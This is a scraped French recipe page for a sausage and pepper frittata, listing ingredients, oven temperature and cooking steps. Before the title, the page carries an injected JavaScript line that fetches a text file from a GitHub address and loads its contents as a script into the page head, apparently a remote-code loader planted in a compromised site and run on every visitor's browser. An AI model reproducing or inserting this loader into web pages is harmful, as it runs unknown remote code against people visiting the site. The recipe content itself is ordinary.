;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); Fritatta poivrons et saucisses – Haute Nutrition
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Fritatta poivrons et saucisses

février 1, 2020

Fritatta poivrons et saucisses

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Servings 3
Calories 380 kcal

Ingredients
  

  • 6 oeufs
  • 1 c. à soupe huile d'olive
  • 150 g saucisse coupés en tranches
  • ½ oignon coupés en lanières
  • ½ poivron coupés en lanières
  • 1 tsp cumin
  • 1 tsp poudre de chili
  • ½ tasse persil frais

Instructions
 

  • Pré-chauffer le four 400 F
  • Faire cuire la saucisse entière au four pendant 15-20 minutes
  • Battre les oeufs dans un bol
  • Dans une poêle faire revenir l'oignon et le poivron pendant environ 5 minutes et ajouter épices. Ajouter saucisses en tranches
  • Ajouter oeufs à la poêle environ 2 minutes
  • Transférer la poêle au four et faire cuire 6-7 minutes

Notes

Vous pouvez utiliser n’importe quels légumes a la frittata

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